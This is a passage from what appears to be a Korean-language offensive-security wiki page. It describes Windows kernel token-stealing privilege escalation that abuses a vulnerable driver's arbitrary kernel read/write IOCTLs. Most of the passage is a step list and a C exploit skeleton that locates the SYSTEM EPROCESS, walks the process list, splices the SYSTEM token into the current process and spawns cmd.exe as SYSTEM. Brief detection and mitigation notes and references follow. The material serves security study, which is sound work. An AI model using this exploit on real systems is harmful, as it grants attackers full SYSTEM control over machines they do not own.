- 사용자 모드에서 NtQuerySystemInformation(SystemModuleInformation) 또는 EnumDeviceDrivers를 사용해 로드된 드라이버 베이스를 얻습니다.
- 커널 베이스에 PsInitialSystemProcess의 오프셋(심볼/리버싱에서 얻은)을 더해 해당 주소를 얻습니다.
2) PsInitialSystemProcess에서 포인터를 읽습니다 → 이는 SYSTEM의 EPROCESS를 가리키는 커널 포인터입니다.
3) SYSTEM EPROCESS에서 UniqueProcessId 및 ActiveProcessLinks 오프셋을 읽어 EPROCESS 구조체의 이중 연결 리스트(ActiveProcessLinks.Flink/Blink)를 순회하여 UniqueProcessId가 GetCurrentProcessId()와 일치하는 EPROCESS를 찾습니다. 다음 두 값을 보관하세요:
- EPROCESS_SYSTEM (SYSTEM용)
- EPROCESS_SELF (현재 프로세스용)
4) SYSTEM 토큰 값 읽기: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- 하위 3비트 마스크 처리: Token_SYS_masked = Token_SYS & ~0xF (빌드에 따라 일반적으로 ~0xF 또는 ~0x7 사용; x64에서는 하위 3비트가 사용됨 — 0xFFFFFFFFFFFFFFF8 마스크).
5) 옵션 A(일반적): 현재 토큰의 하위 3비트를 보존하여 SYSTEM 포인터에 이어붙이면 임베디드 참조 카운트가 일관되게 유지됩니다.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) 커널 쓰기 프리미티브를 사용해 Token_NEW를 (EPROCESS_SELF + TokenOffset)에 다시 씁니다.
7) 현재 프로세스는 이제 SYSTEM입니다. 선택적으로 새 cmd.exe 또는 powershell.exe를 실행해 확인하세요.
## 의사코드
아래는 취약한 드라이버의 두 IOCTL만 사용하는 골격입니다 — 하나는 8바이트 커널 읽기, 하나는 8바이트 커널 쓰기용입니다. 자신의 드라이버 인터페이스로 교체하세요.
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
참고:
- Offsets: 대상의 PDBs 또는 런타임 심볼 로더와 함께 WinDbg의 `dt nt!_EPROCESS`를 사용하여 올바른 오프셋을 얻으십시오. 무작정 하드코딩하지 마세요.
- Mask: x64에서 token은 EX_FAST_REF입니다; 하위 3비트는 참조 카운트 비트입니다. token의 원래 하위 비트를 유지하면 즉시 refcount 불일치를 피할 수 있습니다.
- Stability: 현재 프로세스를 권한 상승하는 것을 권장합니다. 짧게 실행되는 헬퍼를 상승시키면 종료 시 SYSTEM을 잃을 수 있습니다.
## 탐지 및 완화
- 강력한 IOCTLs를 노출하는 서명되지 않았거나 신뢰할 수 없는 타사 드라이버를 로드하는 것이 근본 원인입니다.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard 및 Attack Surface Reduction 규칙은 취약한 드라이버의 로딩을 차단할 수 있습니다.
- EDR은 arbitrary read/write를 구현하는 의심스러운 IOCTL 시퀀스와 token 교체를 감시할 수 있습니다.
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}